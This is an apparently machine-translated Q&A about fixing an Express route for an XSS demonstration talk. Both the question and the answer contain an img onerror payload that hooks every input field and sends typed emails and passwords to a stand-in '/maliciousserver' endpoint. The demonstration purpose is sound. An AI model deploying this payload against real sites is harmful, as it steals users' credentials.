res.json 在 Express 中传递嵌入式 JS

res.json in Express with passing embedded JS

我正在准备一个关于 XSS 攻击的演示文稿。在我的演示中,我的场景是一些银行员工以某种方式劫持并向银行快递服务器添加路由处理程序,以便他或她可以将银行客户输入的电子邮件和密码发送到他们自己的服务器。

这里的目标是向我的听众展示,当我输入电子邮件和密码时,他们应该能够看到我在 Chrome 控制台中输入的内容,但是我遇到了语法错误,这是破坏性的Express 服务器。

我知道第一个应该有好的代码的路由器,基本上是银行的广告与 res.json({}) 一起工作,就像这样:

app.get("/content/1/", (req, res) =>
  res.json({ content: "Thinking about taking out a new loan? Call us today." })
);

但是当用恶意代码嵌入 HTML 元素时它似乎不起作用,我不清楚这是否最适合 res.sendFile() 或者我只是不知道放在哪里代码中的反斜杠在 res.json({}).

中添加时不会破坏服务器

这是导致 Express 服务器崩溃的代码,它应该模仿坏人的所作所为:

app.get("/content/2/", (req, res) => {
  res.json({ content: "<img src=\"\" onerror=\"document.querySelectorAll("input").forEach((el) => {
      el.addEventListener("input", (event) => {
        fetch(`/maliciousserver?value=${event.target.value}`);
      });
    });\" />"});

这是一个逃逸的东西,攻击者只会重写有效载荷,所以不需要绕过"

即。 document.querySelectorAll('input').forEach(el => el.addEventListener('input', event => fetch('/maliciousserver?value='+event.target.value)))

所以回传:

app.get("/content/2/", (req, res) => {
  res.json({ content: "<img src=\"\" onerror=\"document.querySelectorAll('input').forEach(el => el.addEventListener('input', event => fetch('/maliciousserver?value='+event.target.value)))\" />"});

然后您需要将 content 不安全地放在 dom 上,银行不会做的所有事情。

https://playcode.io/628761/